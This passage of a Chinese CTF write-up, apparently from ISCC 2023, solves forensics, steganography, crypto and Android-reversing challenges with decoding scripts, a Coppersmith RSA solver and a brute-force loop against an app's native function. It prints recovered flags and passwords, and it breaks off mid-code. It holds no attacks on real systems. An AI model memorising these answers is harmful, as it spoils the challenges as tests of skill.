1FLAGSNT1FLAGSNS0THTHT1T1T1S0FLAGT1THT1FLAGHTHTHFLAGT1T1HHSNSNFLAGT1T1FLAGHT1FLAGSNHFLAGT1T1T1S0SNT1FLAGTHT1SNSNT1SNFLAGTHS0T1FLAGT1THSNT1S0FLAGHN0S0THTHS0SNTHT1T1SNHT1T1THT1T1FLAGT1T1T1N0HTHTHN0T1THN0N0T1SNT1T1THN0T1THTHS0T1N0N0N0THT1HFLAGHSNT1HHT1T1THSNTHSNSNS0T1S0T1THTHFLAGS0T1T1T1THT1FLAGTHTHTHSNT1THTHN0T1T1N0S0T1T1T1T1T1S0FLAGSNTHTHT1T1FLAGSNHHSNN0THT1T1FLAGT1N0T1SNTHHHTHFLAGT1T1N0T1T1S0FLAGSNTHT1THN0THFLAGT1THSNSNN0T1SNTHS0FLAGTHSNFLAGTHSNT1HTHS0HTHN0SNS0FLAGTHHT1T1THTHT1T1T1T1T1FLAGS0T1T1FLAGTHTHT1T1THT1N0THS0THFLAGT1SNFLAGT1THFLAGTHTHSNN0SNTHSNSNFLAGN0SNT1THHT1T1THHS0S0THN0THSNTHTHTHN0THSNSNT1THS0THT1SNTHTHTHS0HT1S0S0THSNN0THTHN0SNT1FLAGHTHSNFLAGTHFLAGSNSNS0SNT1FLAGT1SNS0N0T1FLAGHS0SNT1N0THT1THSNT1S0FLAGSNT1FLAGSNT1SNTHSNSNTHT1SNS0N0S0SNT1THTHS0S0T1T1THFLAGT1T1T1FLAGN0T1HN0SNTHFLAGS0HFLAGS0S0FLAGTHSNTHT1T1FLAGT1T1THFLAGSNN0T1T1THHN0FLAGS0S0FLAGSNHSNHS0SNT1T1T1THS0THSNTHT1SNT1THT1HHTHT1THT1SNFLAGN0T1FLAGT1SNFLAGTHN0T1THS0THTHSNT1T1THT1THN0T1THT1N0HT1HFLAGS0T1N0SNTHT1HS0N0FLAGHTHTHN0T1THFLAGT1T1T1SNT1SNHSNN0T1N0FLAGHTHFLAGHSNT1SNN0FLAGT1THN0HHSNSNT1N0FLAGSNTHTHFLAGSNTHT1SNTHS0SNS0T1FLAGN0HN0HT1FLAGSNTHFLAGTHT1T1SNT1HTHT1FLAGSNSNT1THTHT1T1S0N0THTHT1THT1SNT1S0T1FLAGTHFLAGTHT1S0SNTHS0N0T1T1HT1THSNTHHTHT1FLAGT1SNFLAGHT1FLAGN0THTHT1S0FLAGS0T1T1THHS0THT1N0FLAGT1T1HFLAGSNSNTHTHTHS0FLAGTHTHTHS0HTHT1THHT1SNFLAGSNSNFLAGSNT1THHS0HHT1N0SNSNFLAGS0S0SNTHS0S0FLAGTHFLAGTHSNFLAGN0HS0S0N0FLAGTHSNFLAGHHFLAGT1T1T1FLAGT1N0S0N0T1S0T1T1THSNFLAGN0T1FLAGT1T1FLAGTHT1FLAGHT1FLAGSNHT1FLAGT1T1THFLAGSNTHTHT1THHSNS0T1T1S0T1HT1T1SNSNTHSNT1HSNT1SNFLAGT1THHN0THS0HT1N0T1S0FLAGTHT1FLAGHHSNSNHSNS0THFLAGTHTHT1FLAGTHHS0FLAGHT1T1FLAGT1SNFLAGTHSNS0T1T1FLAGT1T1FLAGT1T1SNS0THN0N0HSNTHT1SNT1HT1THTHTHFLAGT1FLAGT1T1FLAGSNS0SNTHTHFLAGTHT1FLAGS0THFLAGS0SNN0FLAGFLAGSNN0N0FLAGTHT1FLAGT1T1S0SNHTHTHS0FLAGSNT1SNSNT1N0SNT1T1THT1HSNT1FLAGTHS0SNT1HT1T1T1HT1THTHN0T1T1HTHT1FLAGT1FLAGT1T1THHTHS0SNHFLAGT1T1THTHT1THSNTHFLAGTHT1FLAGS0N0T1T1SNN0T1SNSNT1THTHHTHS0HSNT1T1HFLAGT1HT1SNSNSNFLAGFLAGSNHSNT1N0SNFLAGTHHFLAGTHHTHT1THSNT1THSNHSNFLAGT1S0T1T1S0T1HTHT1T1T1THTHN0T1THS0FLAGT1T1HFLAGSNSNHSNFLAGHT1FLAGTHTHN0SNTHFLAGSNS0T1SNSNFLAGT1SNT1SNT1THT1S0HHTHTHSNS0S0N0SNTHTHHHTHHTHSNHFLAGT1S0S0N0T1THN0T1SNFLAGFLAGS0N0THHT1T1FLAGN0N0FLAGHN0FLAGT1S0FLAGT1N0N0SNN0N0SNN0HSNT1HS0T1N0THHHFLAGTHHSNFLAGHHS0FLAGT1THFLAGTHSNTHHS0FLAGHSNHTHTHTHS0THTHN0T1T1THS0T1T1THFLAGN0HT1FLAGSNSNN0S0FLAGT1T1THT1SNFLAGHT1FLAGSNS0SNSNHS0T1N0T1THN0N0N0N0THN0THTHHTHSNHS0FLAGT1N0THHT1FLAGSNS0S0HT1T1FLAGN0HS0SNTHHS0FLAGSNT1SNT1THFLAGTHHTHSNS0N0S0SNFLAGTHTHFLAGSNT1S0T1THFLAGT1SNTHTHT1T1S0THSNS0THTHFLAGN0FLAGT1THT1HTHT1THTHT1THHT1N0S0FLAGTHN0S0THS0FLAGTHSNSNTHS0FLAGS0SNT1SNSNT1HN0FLAGN0T1THFLAGHT1T1FLAGSNTHSNFLAGHT1N0T1T1N0SNT1FLAGT1SNT1T1T1FLAGT1T1FLAGN0T1HT1T1SNFLAGFLAGSNT1SNT1HS0THTHT1FLAGHT1FLAGTHT1SNSNHFLAGTHTHFLAGTHS0SNT1SNTHFLAGSNSNT1FLAGN0THT1THTHT1HSNT1S0T1T1FLAGN0THT1SNS0N0HS0FLAGT1T1FLAGTHTHHHT1FLAGT1T1T1SNHN0THN0S0THT1T1FLAGFLAGT1HT1FLAGS0S0FLAGSNT1HT1T1T1HTHHN0T1S0S0T1FLAGTHT1FLAGSNHTHFLAGSNN0S0S0HSNFLAGT1THTHT1T1N0FLAGTHT1FLAGSNSNFLAGHT1THT1T1FLAGSNHTHS0SNSNN0T1T1T1T1T1HT1N0HN0T1T1HN0FLAGT1FLAGTHTHFLAGT1T1FLAGT1HFLAGT1HN0T1SNFLAGT1S0SNTHS0THT1THSNFLAGT1T1HFLAGS0S0N0T1T1T1THHT1N0THT1S0S0SNT1THT1FLAGT1T1THS0HSNS0THFLAGTHN0FLAGT1S0S0SNTHTHS0HS0SNSNN0S0SNN0T1T1SNHHFLAGHS0THFLAGHSNT1T1FLAGTHN0FLAGHS0FLAGT1HN0S0T1FLAGSNTHFLAGHTHT1FLAGHHSNTHT1T1THFLAGTHT1THS0T1HHSNHT1HTHT1N0THT1T1FLAGN0SNHN0THFLAGN0N0FLAGSNT1S0HTHFLAGSNSNS0T1THT1THN0THFLAGS0N0N0T1S0N0FLAGTHHHFLAGHHS0S0SNN0S0T1HT1N0FLAGN0SNS0T1THFLAGSNS0THS0HFLAGN0T1SNTHTHTHFLAGS0THSNT1THN0FLAGS0THTHT1HSNS0SNSNSNT1N0FLAGS0N0T1THHN0SNT1SNS0HT1HHT1T1T1T1HTHSNT1S0SNT1S0T1HT1T1T1HT1THTHFLAGT1T1T1THTHTHS0T1THSNTHS0T1HHTHS0FLAGSNT1FLAGHTHT1FLAGT1SNHT1S0SNS0THSNSNFLAGT1T1T1SNSNFLAGT1T1THTHTHSNN0THTHN0T1S0S0HT1T1N0FLAGT1N0T1T1N0S0HT1N0HS0T1SNTHHTHHTHHHFLAGSNSNHT1N0T1T1S0FLAGT1T1THFLAGTHFLAGN0THSNT1SNFLAGN0THSNSNTHTHSNT1T1S0THFLAGT1SNTHTHHSNSNT1FLAGTHTHS0SNSNFLAGTHT1SNFLAGT1THT1S0S0THN0THN0FLAGTHT1T1FLAGTHTHT1HS0HSNTHSNS0T1N0THN0FLAGTHN0T1THHFLAGS0T1FLAGTHT1HN0THHHS0THT1T1T1FLAGN0FLAGTHTHFLAGT1N0FLAGT1HTHSNT1N0SNN0FLAGT1N0N0N0S0T1T1HTHN0THFLAGTHT1T1FLAGSNHT1S0T1N0T1HTHTHFLAGN0HS0T1THFLAGTHT1FLAGTHT1FLAGN0N0FLAGSNN0S0FLAGFLAGTHSNSNTHSNHFLAGHT1T1SNHN0SNT1T1SNS0SNT1N0FLAGSNTHFLAGTHS0SNT1THFLAGT1THHTHT1T1SNN0SNFLAGTHT1HHS0T1S0S0S0HHSNSNTHT1SNT1N0THFLAGS0HFLAGT1S0T1SNSNFLAGS0S0FLAGT1T1THT1S0SNHTHFLAGN0SNT1FLAGT1THT1FLAGT1THTHTHHN0FLAGT1HFLAGTHSNFLAGS0N0T1THSNFLAGSNSNN0SNSNSNFLAGFLAGT1THN0FLAGTHTHT1T1THSNTHT1SNTHTHFLAGTHT1SNS0SNFLAGTHT1THHS0FLAGN0SNT1S0T1THSNS0THT1SNT1FLAGFLAGHT1S0FLAGT1SNFLAGS0THSNTHN0SNHTHFLAGTHSNTHN0SNT1THTHFLAGT1S0THHTHTHSNTHSNS0HSNHT1THSNS0THSNT1T1T1T1N0THTHS0S0T1T1S0T1HTHT1THN0THSNFLAGSNT1SNTHTHTHFLAGN0N0T1THT1T1HT1HSNT1N0HT1S0THTHTHFLAGT1T1FLAGSNHFLAGN0HT1THTHFLAGTHS0T1S0SNTHTHT1THT1T1T1FLAGT1T1T1HT1S0THHHHSNT1THT1T1T1FLAGT1T1HT1HT1THSNN0HT1T1HTHTHTHHT1THT1T1T1N0FLAGHN0FLAGS0T1FLAGT1THTHT1T1THS0THFLAGT1T1SNFLAGFLAGS0T1THTHSNTHHSNTHFLAGN0THTHN0T1FLAGT1HFLAGSNTHFLAGT1

然后进行词频分析

image-20230530155934071

得到:TH1SN0GLFAG

然后分析解密出来的结果发现,所有的flag字样都是在一个二维码内,然后将flag二维码全部扫描打印信息,发现在每一个文件夹内不是1.png就是2.png

然后根据题目猜测是莫斯密码,将1转为.2转为-得到七位二进制

image-20230530160516134

然后解码得到:NyqgE0TddlwxLpK/g6514s2I6hQt1xNxdmmKYriUGiI=

然后解AES,key为:th1sn0glfag

image-20230530160533864

得到flag

给了个内存镜像,使用volatility桌面上找到一个solve.zip,一个hint.txt

命令:python2 vol.py -f 1.raw –profile=Win7SP1x64 filescan | grep Desktop

在hint.txt中得到提示,四个玩家一场游戏

image-20230530161007022

image-20230530161029270

压缩包密码是伪装者的名字

然后在Documents目录下可以找到个out9.pcap,导出来

然后在流量包中找到了amongus字符串

然后发现这个是太空狼人杀的游戏

题目还给了游戏的配置文件,逆一下plugins下的dll文件,搜一下发现能搜到伪装者

image-20230530161932197

image-20230530162021304

在同级的目录下找到password

psswd:susofyou

解开压缩包得到solve.py

image-20230530192314034

amongus流量加上插件后解析

image-20230530192603972

code为SRLBOW

voted为ISCC

image-20230530192642052

howtowin crew_vote

image-20230530193047058

tasks_num 2

import hashlib

#analyze the .pcap answer the question

code = 'SRLBOW' #join the game's Game code(eg:ABCD)

voted = 'ISCC'#who was voted in this game(the game's name)(eg:dingzhen)

howtowin = 'crew_vote'#how win this game?choose:(crew_vote/crew_task/imp_vote/imp_task/imp_disconnect/crew_disconnect)(eg:imp_task)

tasks_num = '2'#how many tasks were done?(eg:5)

flag = hashlib.md5((code+voted+howtowin+tasks_num).encode()).hexdigest()#eg:md5('ABCDdingzhenimp_task5') = ca90ed3a8c98ef30af3b44643de8512e
print(f'your flag is ISCC{{{flag}}}')#eg:your flag is ISCC{ca90ed3a8c98ef30af3b44643de8512e}

运行得到flag

G9的钢琴曲

解压得到一个py脚本和一个压缩包,先解py

from Crypto.Util.number import *
# from libnum import *

out =[(2172252055704676687457456207934570002654428519127702486311980109116704284191676330440328812486703915927053358543917713596131304154696440247623888101060090049, 2108637380559167544966298857366809660819309447678518955440217990535095703498823529603132157555536540927898101378853427638496799467186376541583898176373756917, 1103840869050032098984210850630584416814272073121760519116633450832540460407682739594980752914408375293588645043889636184344774987897378026909963273402766561), (2000124088829445641229622245114189828522912764366697463519930724825924163986998694550757186794149331654420524788899548639866463311104678617705042675360057243, 1665549488322348612920659576773850703765765307223600084262385091708189142517147893842872604879786471376822691498663100028754092239272226011616462859779271025, 990627294315894701092445987317798430568264256978762186489740206376279178571289900941886873570710241025125621594301020499270029956301204583788447662869037315), (1303516450844607175859180241406482278674954250245197644105258810912430306740632927947088058701010631209652921073238771523431247167608544636294883977018097199, 1119758042346732592435539174564881640374540951155805649314246375263320107846465196580695284748429608544175058830657524095385658523219250943378976577225782230, 598915905620934628053505443816290720352232457144997188593150390072666051798491983452700635551081569466232682512362475354896855707688259553722701065491789402), (2463333340881549805545364706970314608937871808508385657282029236077808399479795853056347857164089991597487727014937851894809199639758978587612411591527423763, 673590616457425981268507673967667728811152404125286063856277932080928372715113304373395326309595915550999528364692493169822993967220858400311382215177833045, 208198360150172881237486434064181246031019081636219908755237161625039285165750040108367852136975511290424988781713799103150982065579123496034803730006273360)]

# clean data
ns = [o[0] for o in out]
rs = [o[1] for o in out]
cs = [o[2] for o in out]
# calculate T_i for each polynomial
calcT = lambda idx : crt([0 if i != idx else 1 for i in range(4)], ns)

# calculate Ts
T = [calcT(i) for i in range(len(ns))]
# print(T)
#下面就是calcT函数的意义
# print(crt([1,0,0,0],ns))
# print(crt([0,1,0,0],ns))
# print(crt([0,0,1,0],ns))
# print(crt([0,0,0,1],ns))

# construct the final polynomial
f = 0
P.<x> = PolynomialRing(Zmod(prod(ns)))

# use pad to add known bits
pad = bytes_to_long(b'ISCC' + b'\x00' * 59)
m = x + pad

# construct g(x)
for i in range(4):
    f += T[i] * (m^4 + 3*m^2 + rs[i]*m - cs[i])
root = f.small_roots(X=2^472, epsilon=0.03)[0]
m = m(root)
print(long_to_bytes(int(m)))
#ISCC_Y0u_R3alLy_KnOw_CoPPersm1th

得到压缩包密码为:ISCC_Y0u_R3alLy_KnOw_CoPPersm1th

hint.txt解二进制为:WRHJC?WJTDJTKNA?

rar看着是cloakify

直接用自带的密码库解

python2 decloakify.py music.rar ./ciphers/desserts > 1.wav

image-20230530194252612

后面的-和+用01替换解二进制

得到flag

ISCC{Congr4tulations_on_complet1ng_th1s_ch4llenge}

BNG

通过对比可以得知BNG文件头与PNG相似,组成部分是BNG和宽高位深度数据,以及每一块之前都有4字节来提示这个块的大小

颜色块很明显是bzip压缩得来的,解压后可以发现与jpg的颜色块很相似,因此得知这里使用了范式huffman压缩算法来压缩颜色数据

同时,每个大块是以四个字节的00来分割的,并在最后的颜色块与结尾块之间留了一位隐写位

先解前置的范式

from tqdm import tqdm
from typing import Dict, List, Tuple

def int_to_bytes(n: int) -> bytes:
    """返回整数对应的二进制比特串 例如 50 -> b'\x50'"""
    return bytes([n])

class Node:
    """Node结点,用于构建二叉数"""

    def __init__(self, value, weight, lchild, rchild):
        self.value = value
        self.weight = weight
        self.lchild = lchild
        self.rchild = rchild

class Huffman:
    """Huffman编码"""

    @staticmethod
    def bytes_fre(bytes_str: bytes):
        """统计目标文本的字符频数, 返回频数字典
        例如b'\x4F\x56\x4F' -> {b'\x4F':2, b'\x56':1}
        """
        fre_dic = [0 for _ in range(256)]
        for item in bytes_str:
            fre_dic[item] += 1
        return {int_to_bytes(x): fre_dic[x] for x in range(256) if fre_dic[x] != 0}

    @staticmethod
    def build(fre_dic: Dict[bytes, int]) -> Dict[bytes, str]:
        """通过字典构建Huffman编码,返回对应的编码字典
        例如 {b'\x4F':1, b'\x56':1} -> {b'\x4F':'0', b'\x56':'1'}
        """

        def dlr(current: Node, huffman_code: str, _huffman_dic: Dict[bytes, str]):
            """递归遍历二叉树求对应的Huffman编码"""
            if current is None:
                return
            else:
                if current.lchild is None and current.rchild is None:
                    _huffman_dic[current.value] = huffman_code
                else:
                    dlr(current.lchild, huffman_code + '0', _huffman_dic)
                    dlr(current.rchild, huffman_code + '1', _huffman_dic)

        if not fre_dic:
            return {}
        elif len(fre_dic) == 1:
            return {value: '0' for value in fre_dic.keys()}
        # 初始化森林, 权重weight小的在后
        node_lst = [Node(value, weight, None, None)
                    for value, weight in fre_dic.items()]
        node_lst.sort(key=lambda item: item.weight, reverse=True)
        # 构建Huffman树
        while len(node_lst) > 1:
            # 合并最后两棵树
            node_2 = node_lst.pop()
            node_1 = node_lst.pop()
            node_add = Node(None, node_1.weight +
                            node_2.weight, node_1, node_2)
            node_lst.append(node_add)
            # 调整森林
            index = len(node_lst) - 1
            while index and node_lst[index - 1].weight <= node_add.weight:
                node_lst[index] = node_lst[index - 1]
                index = index - 1
            node_lst[index] = node_add
        # 获取Huffman编码
        huffman_dic = {key: '' for key in fre_dic.keys()}
        dlr(node_lst[0], '', huffman_dic)
        return huffman_dic

    @classmethod
    def to_canonical(cls, huffman_dic: Dict[bytes, str]) -> Dict[bytes, str]:
        """将Huffman编码转换成范氏Huffman编码"""
        code_lst = [(value, len(code)) for value, code in huffman_dic.items()]
        code_lst.sort(key=lambda item: (item[1], item[0]), reverse=False)
        value_lst, length_lst = [], []
        for value, length in code_lst:
            value_lst.append(value)
            length_lst.append(length)
        return cls.rebuild(value_lst, length_lst)

    @staticmethod
    def rebuild(char_lst: List[bytes], length_lst: List[int]) -> Dict[bytes, str]:
        """以范氏Huffman的形式恢复字典"""
        huffman_dic = {value: '' for value in char_lst}
        current_code = 0
        for i in range(len(char_lst)):
            if i == 0:
                current_code = 0
            else:
                current_code = (
                    current_code + 1) << (length_lst[i] - length_lst[i - 1])
            huffman_dic[char_lst[i]] = bin(current_code)[
                2::].rjust(length_lst[i], '0')
        return huffman_dic

    @staticmethod
    def decode(str_bytes: bytes, huffman_dic: Dict[bytes, str], padding: int, visualize: bool = False):
        """Huffman解码
        输入待编码文本, Huffman字典huffman_dic, 末端填充位padding
        返回编码后的文本
        """
        if not huffman_dic:  # 空字典,直接返回
            return b''
        elif len(huffman_dic) == 1:  # 字典长度为1,添加冗余结点,使之后续能够正常构建码树
            huffman_dic[b'OVO'] = 'OVO'
        # 初始化森林, 短码在前,长码在后, 长度相等的码字典序小的在前
        node_lst = [Node(value, weight, None, None)
                    for value, weight in huffman_dic.items()]
        node_lst.sort(key=lambda _item: (
            len(_item.weight), _item.weight), reverse=False)
        # 构建Huffman树
        while len(node_lst) > 1:
            # 合并最后两棵树
            node_2 = node_lst.pop()
            node_1 = node_lst.pop()
            node_add = Node(None, node_1.weight[:-1:], node_1, node_2)
            node_lst.append(node_add)
            # 调整森林
            node_lst.sort(key=lambda _item: (
                len(_item.weight), _item.weight), reverse=False)
        # 解密文本
        read_buffer, buffer_size = [], 0
        # 生成字符->二进制列表的映射
        dic = [list(map(int, bin(item)[2::].rjust(8, '0')))
               for item in range(256)]
        # 将str_bytes转化为二进制列表
        for item in str_bytes:
            read_buffer.extend(dic[item])
            buffer_size = buffer_size + 8
        read_buffer = read_buffer[0: buffer_size - padding:]
        buffer_size = buffer_size - padding
        write_buffer = bytearray([])

        current = node_lst[0]

        for pos in tqdm(range(0, buffer_size, 8), unit='byte', disable=not visualize):
            for item in read_buffer[pos:pos + 8]:
                # 根据二进制数移动current
                if item:
                    current = current.rchild
                else:
                    current = current.lchild
                # 到达叶结点,打印字符并重置current
                if current.lchild is None and current.rchild is None:
                    write_buffer.extend(current.value)
                    current = node_lst[0]

        return bytes(write_buffer)

    @staticmethod
    def encode(str_bytes: bytes, huffman_dic: Dict[bytes, str], visualize: bool = False) -> Tuple[bytes, int]:
        """Huffman编码
        输入待编码文本, Huffman字典huffman_dic
        返回末端填充位数padding和编码后的文本
        """
        bin_buffer = ''
        padding = 0
        # 生成整数->bytes的字典
        dic = [int_to_bytes(item) for item in range(256)]
        # 将bytes字符串转化成bytes列表
        read_buffer = [dic[item] for item in str_bytes]
        write_buffer = bytearray([])
        # 循环读入数据,同时编码输出
        for item in tqdm(read_buffer, unit='byte', disable=not visualize):
            bin_buffer = bin_buffer + huffman_dic[item]
            while len(bin_buffer) >= 8:
                write_buffer.append(int(bin_buffer[:8:], 2))
                bin_buffer = bin_buffer[8::]

        # 将缓冲区内的数据填充后输出
        if bin_buffer:
            padding = 8 - len(bin_buffer)
            bin_buffer = bin_buffer.ljust(8, '0')
            write_buffer.append(int(bin_buffer, 2))

        return bytes(write_buffer), padding

class OVO:
    VERBOSE = 0b10  # -v 显示进度

    @classmethod
    def decode_as_huffman(cls, str_bytes: bytes, mode: int):
        """以huffman编码解码
        输入byte串,返回解码后的byte串"""
        padding = str_bytes[0]
        max_length = str_bytes[1]
        length = list(str_bytes[2:2 + max_length:])
        char_num = sum(length)
        # 如果length全零,那么表示256个字符全在同一层
        if char_num == 0 and max_length != 0:
            char_num = 256
            length[max_length - 1] = 256
        # 计算出还原huffman码表所需的信息
        char_lst, length_lst = [], []
        for pos in range(2 + max_length, 2 + max_length + char_num):
            char_lst.append(int_to_bytes(str_bytes[pos]))
        for i in range(max_length):
            length_lst.extend([i + 1] * length[i])
        # 重构码表
        code_dic = Huffman.rebuild(char_lst, length_lst)
        # huffman解码
        str_bytes = str_bytes[2 + max_length + char_num::]
        write_buffer = Huffman.decode(
            str_bytes, code_dic, padding, bool(mode & cls.VERBOSE))
        return write_buffer

    @classmethod
    def encode_as_huffman(cls, str_bytes: bytes, mode: int):
        """以huffman编码的形式编码文件
        输入bytes串,返回编码后的比特串"""
        fre_dic = Huffman.bytes_fre(str_bytes)
        code_dic = Huffman.build(fre_dic)
        code_dic = Huffman.to_canonical(code_dic)
        max_length = 0
        for code in code_dic.values():
            max_length = max(max_length, len(code))
        length_lst = [0 for _ in range(max_length + 1)]
        for code in code_dic.values():
            length_lst[len(code)] += 1
        # 要是256个字符全部位于同一层,使用全零标记
        if length_lst[max_length] == 256:
            length_lst[max_length] = 0
        length_lst.pop(0)  # 码长为0的字符并不存在,故删去
        # 将码表信息转化成bytes类型
        code_bytes = b''.join(code_dic.keys())
        length_bytes = b''.join(map(int_to_bytes, length_lst))
        # huffman编码
        temp_buffer, padding = Huffman.encode(
            str_bytes, code_dic, bool(mode & cls.VERBOSE))
        # 合并结果
        code_data = int_to_bytes(max_length) + length_bytes + code_bytes
        write_buffer = int_to_bytes(padding) + code_data + temp_buffer
        return write_buffer

    @classmethod
    def decode(cls, fp_in, mode: int = 0):
        fp_out = cls.decode_as_huffman(fp_in, mode)
        return fp_out

    @classmethod
    def encode(cls, fp_in, mode: int = 0):
        fp_out = cls.encode_as_huffman(fp_in, mode)
        return fp_out

然后就是bng转png

from OVO import OVO
from PIL import Image
import bz2

def bng2png(bngfile, pngfile):
    data = open(bngfile, 'rb').read()
    width, height = int.from_bytes(
        data[8:12], 'big'), int.from_bytes(data[12:16], 'big')
    pngimg = Image.new('RGB', (width, height))
    collen = int.from_bytes(data[21:25], 'big')
    col = OVO.decode(bz2.decompress(data[25:25+collen]), False)
    for y in range(height):
        for x in range(width):
            pngimg.putpixel((x, y), (col[0], col[1], col[2]))
            col = col[3:]
    pngimg.save(pngfile)

def getsecret(bngfile):
    data = open(bngfile, 'rb').read()
    collen = int.from_bytes(data[21:25], 'big')
    secret = data[25+collen:25+collen+1].decode()
    return secret

secret = ''
for i in range(471):
    bngfile = 'bngs/' + str(i) + '.bng'
    pngfile = 'decimg/' + str(i) + '.png'
    bng2png(bngfile, pngfile)
    secret += getsecret(bngfile)
print(secret)

image-20230530195608673

同时得到隐写的数据

Vm1wR2EwNUhTWGxVYms1cFRUSjRWbFl3WkRSWFJteHpZVVZPYWxadGVIcFdNbmgzWVRBeFZrNVdaRnBXVmxwUVdWVmFTbVF3TVZWWGJHUlRUVEJLVVZkV1dsWmtNbEY1Vkd0c1ZHSkdXazlaYlhSTFpVWmFSMWR0Um1waVZscFlWako0VjFWdFJqWmlTRUpYWWtkb1JGcFhlR0ZTVmtaelZHMXNhR1ZzV2toV1JscHZVakZhYzFwRmJGSmlSVXBoVm1wT1QwMHhVbGRYYkU1clVsUkdWMVJzWkRSV01WcEhWMnh3VjJFeGNGUldha1pyWkVaS2RWTnNhR2xpUlhCWFYxY3dNVkV5UmtkaVJtUlhWMGRvVUZscmFFTlRWbkJKWWpOa1VWVlVNRGs9

解base64后得到:my secret password:75ce46be8882436396c25c9b1f76b37e

将图片的数值提取出来为压缩包的十六进制数据

用得到的password解压缩包得到flag

听你心跳里的狂

首先拿到一个ogg音频文件和一个flaggg文件,flaggg文件16进制数据是个乱码,但根据其长度恰好为10mb,猜测是VC容器,将ogg音频文件作为密钥文件成功挂载

image-20230530203314368

image-20230530203341168

image-20230530203452418

在文件末尾得到一串字符

image-20230530203535270

用rot13+rot47解码

image-20230530203729287

发现是md5

image-20230530203740642

解密得到字符串:Logistic

解压缩包得到png文件,将其十六进制数据异或0x15得到png

image-20230530203918737

image-20230530204155114

然后在这里发现flag

Brain Games

image-20230530205007528

image-20230530204915558

这里将表情替换回来解码

得到:Peace_And_Love

image-20230530205412809

得到图片

看底下数字键盘可以猜到是数字键盘密码,中间6个弹孔对应6位长度和顺序,顺序是依照子弹裂痕,后发的裂痕会在碰到前发的裂痕后停止,得到顺序是570831

然后解lsb

8ae511cd0026edf90ced84dd12f6d1d30fe3e486131c31501300014b2bacb4d202

然后解hex 加密base85得到flag

image-20230530212645290

Guess!Where?

解压得到压缩包和password

压缩包需要密码

txt的内容为:U1H0YHwVXogMWWQIWX5dY0gCPoUOXoMAVHXcYHgRXoUKZYsXUX1NX0gIZnUGSW09

看着像base64但是解不开

先解caesar3,R1E0VEtSUldJTTNFTU5aV0dZMlRLUlJXSEUzVEdOUlRHWVpURU1KU0dFWkRDPT09

然后解base64

GQ4TKRRWIM3EMNZWGY2TKRRWHE3TGNRTGYZTEMJSGEZDC===

再解base32

495F6C6F76655F69736363212121

然后解hex

I_love_iscc!!!

解压缩包,按照修改日期排序,发现ISC23跑到了01中

image-20230530213521322

然后分析内容发现,里面的数字是根据二十六个字母的位置来打印的

然后,每个文件的值解析出来后面都有flag的结尾,然后将flag的结尾去掉C读取两次得到flag

ISCC{ilikeiscchowaboutyou}

ANDROID

mobile1

image-20230601095525348

分析代码

这里发现是调用的so文件加密,并且在调用so文件之前先调用的a函数对flag进行加密然后分析so文件发现代码逻辑有点奇怪,然后尝试直接调用so文件

image-20230601100514598

这里经过尝试发现当长度不对的时候会返回wrong

然后经过测试当长度为21的时候会返回一个字符串

image-20230601100459265

发现返回字符串长度为30

然后猜测返回字符串与传入字符串存在某种映射关系

image-20230601100102289

经过修改传入参数,发现前七位与返回的前十位有映射关系,然后经过测试发现传入的字符串的7位为一组,然后返回的结果十位为一组为一一映射的关系

image-20230601100121412

然后修改传入参数,前四位发现返回值修改了五位

所以可以爆破

这里保守起见,先爆破前半部分,因为传入的参数的每一段为奇数,返回的每一段为偶数,所以直接爆破的话可能会有写些错误

所以爆破前半部分也就是每一段的前四位,得到与密文字符串同样的结果的时候取爆破出来的前三个值,然后再次爆破后四位,这样就避免了出错

代码如下:

@Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        String key = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";
        int len = key.length();
        String str2 = "PNSKQE";
        String jni_str[] = {"SiPG1", "Dw83f", "SrgJN", "94w3N", "N6h96", "Mbw8d"};
        String jni_str1[] = {"SiPG1Dw83f", "SrgJN94w3N", "N6h96Mbw8d"};//SiPG1Dw83fSrgJN94w3NN6h96Mbw8d
        String jni_true = "";
        String jni[] = {"", "", ""};
        String jni_finally[] = {"", "", ""};
        //String text = com.example.mobile1.MainActivity.stringFromJNI("1234efghijklmnopqrstu",str2);
       //Log.d("yyz",text);

        for (int i1 = 0; i1 < len; i1++) {
            if(!jni[0].equals("") && !jni[1].equals("") && !jni[2].equals("")){
                break;
            }
            for (int i2 = 0; i2 < len; i2++) {
                if(!jni[0].equals("") && !jni[1].equals("") && !jni[2].equals("")){
                    break;
                }
                for (int i3 = 0; i3 < len; i3++) {
                    if(!jni[0].equals("") && !jni[1].equals("") && !jni[2].equals("")){
                        break;
                    }
                    for (int i4 = 0; i4 < len; i4++) {
                        if(!jni[0].equals("") && !jni[1].equals("") && !jni[2].equals("")){
                            break;
                        }
                        jni_true = "" + key.charAt(i1) + key.charAt(i2) + key.charAt(i3) + key.charAt(i4)+"123";
                        String tmp = jni_true + jni_true + jni_true + jni_true;
                        String ret = com.example.mobile1.MainActivity.stringFromJNI(tmp, str2);
                        if (ret.substring(0, 5).equals(jni_str[0])) {
                            jni[0] = jni_true.substring(0, 3);
                        }
                        if (ret.substring(10, 15).equals(jni_str[2])) {
                            jni[1] = jni_true.substring(0, 3);
                        }
                        if (ret.substring(20, 25).equals(jni_str[4])) {
                            jni[2] = jni_true.substring(0, 3);
                        }
                    }
                }
            }
        }for(int i = 0; i < 3; i++){
            Log.d("yyz_jni",jni[i]);
        }
    }

然后得到如下的返回值

image-20230601100139129

然后修改代码继续爆破后半部分

Log.d("yyz","start");
        for (int i1 = 0; i1 < len; i1++) {
            if(!jni_finally[0].equals("") && !jni_finally[1].equals("") && !jni_finally[2].equals("")){
                break;
            }
            for (int i2 = 0; i2 < len; i2++) {
                if(!jni_finally[0].equals("") && !jni_finally[1].equals("") && !jni_finally[2].equals("")){
                    break;
                }
                for (int i3 = 0; i3 < len; i3++) {
                    if(!jni_finally[0].equals("") && !jni_finally[1].equals("") && !jni_finally[2].equals("")){
                        break;
                    }
                    for (int i4 = 0; i4 < len; i4++) {
                        if(!jni_finally[0].equals("") && !jni_finally[1].equals("") && !jni_finally[2].equals("")){
                            break;
                        }
                        String jni_true1 = "" + "CV2" + key.charAt(i1) + key.charAt(i2) + key.charAt(i3) + key.charAt(i4);
                        String jni_true2 = "" + "G6C" + key.charAt(i1) + key.charAt(i2) + key.charAt(i3) + key.charAt(i4);
                        String jni_true3 = "" + "353" + key.charAt(i1) + key.charAt(i2) + key.charAt(i3) + key.charAt(i4);
                        String tmp = jni_true1 + jni_true2 + jni_true3;
                        //Log.d("tmp",tmp);
